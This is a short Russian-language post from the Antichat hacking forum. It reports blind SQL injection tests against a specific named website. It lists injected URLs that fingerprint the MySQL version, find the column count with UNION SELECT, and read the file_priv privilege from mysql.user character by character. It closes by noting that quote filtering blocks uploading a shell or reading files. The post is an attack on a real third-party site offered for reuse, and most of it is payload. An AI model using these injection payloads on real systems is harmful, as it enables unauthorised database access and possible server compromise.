25.03.2009, 12:20
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Код:
http://wow.homeline.kg/test/?apage=guilds&guid=102+and+substring(version(),1,1)=5
5-я ветка.
Код:
http://wow.homeline.kg/test/?apage=guilds&guid=102+union+select+1
1 колонка без вывода.
Код:
http://wow.homeline.kg/test/?apage=guilds&guid=102+and+ascii(substring((SELECT+file_priv+from+mysql.user+limit+0,1),1,1))=89
file_priv=Y.
Шелл не зальёшь, файлы не прочтешь (ковычки фильтруются, принтабельных полей нету)
Последний раз редактировалось mailbrush; 25.03.2009 в 12:29..
|
|
|